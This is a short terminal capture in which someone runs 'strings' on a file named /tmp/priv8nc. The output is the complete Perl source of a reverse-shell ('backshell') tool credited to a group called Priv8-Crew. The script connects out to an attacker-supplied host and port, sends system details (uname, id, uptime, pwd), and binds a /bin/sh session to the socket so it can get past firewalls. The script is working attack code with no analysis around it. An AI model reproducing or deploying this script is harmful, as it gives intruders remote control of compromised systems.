(63)[darak]/tmp > strings /tmp/priv8nc
use Socket;
####################################################################

## by Priv8-Crew [Security Solutions]
##
## Contact: /server irc.priv8crew.info and irc.gigachat.net #Priv8crew
##

## Conecting backshell - Get privilegy behinde firewall
##
## Target: perl nc.pl 127.0.0.1 80 ##
################################################################

$execute= 'echo "`uname -a`";echo "`id`";echo "`uptime`";echo "`pwd`";/bin/sh';
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($execute);
close(STDIN);
close(STDOUT);
(64)[darak]/tmp >